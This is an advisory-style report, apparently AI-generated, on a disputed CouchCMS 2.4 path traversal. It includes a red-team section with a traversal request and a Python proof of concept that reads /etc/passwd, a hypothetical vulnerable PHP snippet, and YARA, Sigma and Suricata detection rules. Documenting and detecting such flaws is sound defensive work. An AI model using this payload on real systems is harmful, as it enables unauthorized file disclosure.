CVE-2025-67004

Executive Summary

CVE-2025-67004 describes a disputed path traversal vulnerability in CouchCMS 2.4. The claim is that an authenticated Admin user can read arbitrary files by using directory traversal sequences (e.g., ../../). The vendor and community dispute this, stating that if the web server configuration allows access to files outside the web root, it is a server misconfiguration, not a CMS vulnerability. No official patch exists, and the vulnerability is considered unpatched or a non-issue by the maintainer.

Risk Assessment: Low to Medium. The attack requires an authenticated Admin user, which already has high privileges. The impact is information disclosure of arbitrary files, including source code and configuration files. The dispute reduces the likelihood of a fix.

Supply Chain & Package Security

CouchCMS is a standalone PHP application, not distributed via NPM, PyPI, Go, or Ruby. No supply chain implications are present.

CVSS Breakdown & Threat Level

No official CVSS vector is assigned due to the dispute. A hypothetical assessment for an authenticated path traversal with high privileges would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): High (H) - Admin
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): None (N)
• Availability (A): None (N)
• Base Score: 4.9 (Medium)

Threat Level: Medium. The requirement for Admin privileges significantly reduces the attack surface.

Deep Dive & Mechanics

The vulnerability, as described, involves an Admin user exploiting a file inclusion or file read function within CouchCMS 2.4. The function likely does not properly sanitize user-supplied file paths, allowing the use of ../ sequences to escape the intended directory (e.g., the CMS's uploads/ or addons/ folder).

Dispute Rationale: The community argues that if a web server (Apache/Nginx) is configured to serve files from a directory that is not properly restricted, any file within that directory can be accessed. The CMS itself may not be vulnerable; rather, the server configuration allows the path traversal to succeed. However, a secure CMS should still validate and restrict file paths to prevent such access, even if the server is misconfigured.

Attack Flow:

1. Attacker authenticates as an Admin user.
2. Attacker identifies a file read endpoint (e.g., index.php?file=...).
3. Attacker crafts a request with a path traversal payload: index.php?file=../../../../etc/passwd.
4. If the server and CMS do not block the traversal, the file is read and displayed.

Vulnerable vs. Patched Code

No official patch exists. The vulnerable code is hypothetical. A secure implementation would use a whitelist of allowed directories or a function like realpath() to resolve the path and then check if it starts with the allowed base path.

Vulnerable Code (Hypothetical PHP):

$file = $_GET['file'];
$content = file_get_contents($file);
echo $content;

Patched Code (Hypothetical PHP):

$allowed_base = realpath(__DIR__ . '/uploads');
$file = realpath(__DIR__ . '/uploads/' . $_GET['file']);
if (strpos($file, $allowed_base) !== 0) {
    die('Access denied.');
}
$content = file_get_contents($file);
echo $content;

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Admin credentials for CouchCMS 2.4.
• A file read endpoint (e.g., index.php?file=).

Exploit Steps:

1. Log in as Admin.
2. Identify the vulnerable parameter (e.g., file in index.php).
3. Send a crafted request:

   GET /couchcms/index.php?file=../../../../etc/passwd HTTP/1.1
   Host: target.com
   Cookie: [admin_session_cookie]
   

4. If successful, the contents of /etc/passwd will be displayed.

Proof of Concept (PoC) Script (Python):

import requests

target = "http://target.com/couchcms/index.php"
cookies = {"PHPSESSID": "admin_session_cookie"}
payload = "../../../../etc/passwd"

r = requests.get(target, params={"file": payload}, cookies=cookies)
if "root:" in r.text:
    print("[+] File read successful!")
    print(r.text)
else:
    print("[-] Exploit failed.")

Blue Team (Detection & Prevention)

Detection:

• Monitor for requests containing ../ or ..%2f in file-related parameters.
• Alert on Admin users accessing files outside the web root (e.g., /etc/passwd, C:\Windows\System32\drivers\etc\hosts).
• Use WAF rules to block path traversal patterns.

Prevention:

• Apply input validation and whitelist allowed file paths.
• Use realpath() and check against a base directory.
• Ensure web server is configured to deny access to files outside the document root.
• Implement least privilege for Admin users.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with ../ or ..%2f in parameters like file, path, include.
  • Requests to sensitive files like /etc/passwd, C:\Windows\win.ini, config.php.
• File System IOCs:
  • Unexpected access to files outside the web root.
  • Log entries showing path traversal attempts.
• Log IOCs:
  • Web server logs showing GET /couchcms/index.php?file=../../../../etc/passwd.

Detection Engineering

YARA Rule

rule CVE_2025_67004_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in CouchCMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67004"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "..%2f"
        $traversal4 = "..%5c"
        $sensitive1 = "/etc/passwd"
        $sensitive2 = "C:\\Windows\\win.ini"
        $sensitive3 = "config.php"
    condition:
        any of ($traversal*) and any of ($sensitive*)
}

Sigma Rule

title: CouchCMS Path Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts targeting CouchCMS
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-67004
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '..%2f'
            - '..%5c'
        cs-uri-query|contains:
            - '/etc/passwd'
            - 'C:\\Windows\\win.ini'
            - 'config.php'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in some applications
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67004 CouchCMS Path Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"../"; http_uri; content:"/etc/passwd"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Admin Access: Limit Admin users to only those who absolutely need it.
2. Web Server Hardening: Ensure the web server is configured to deny access to files outside the document root. For Apache, use <Directory> directives. For Nginx, use root and alias correctly.
3. Input Validation: Implement server-side validation to reject paths containing ../ or ..\\.
4. Use realpath(): In PHP, resolve the file path and ensure it starts with the allowed base directory.

Long-Term Fix:

• Since the vendor disputes the vulnerability, consider migrating to a more actively maintained CMS.
• If using CouchCMS, apply a custom patch to sanitize file paths.

Valters IT Signature

Report generated by Valters IT DevSecOps AI Assistant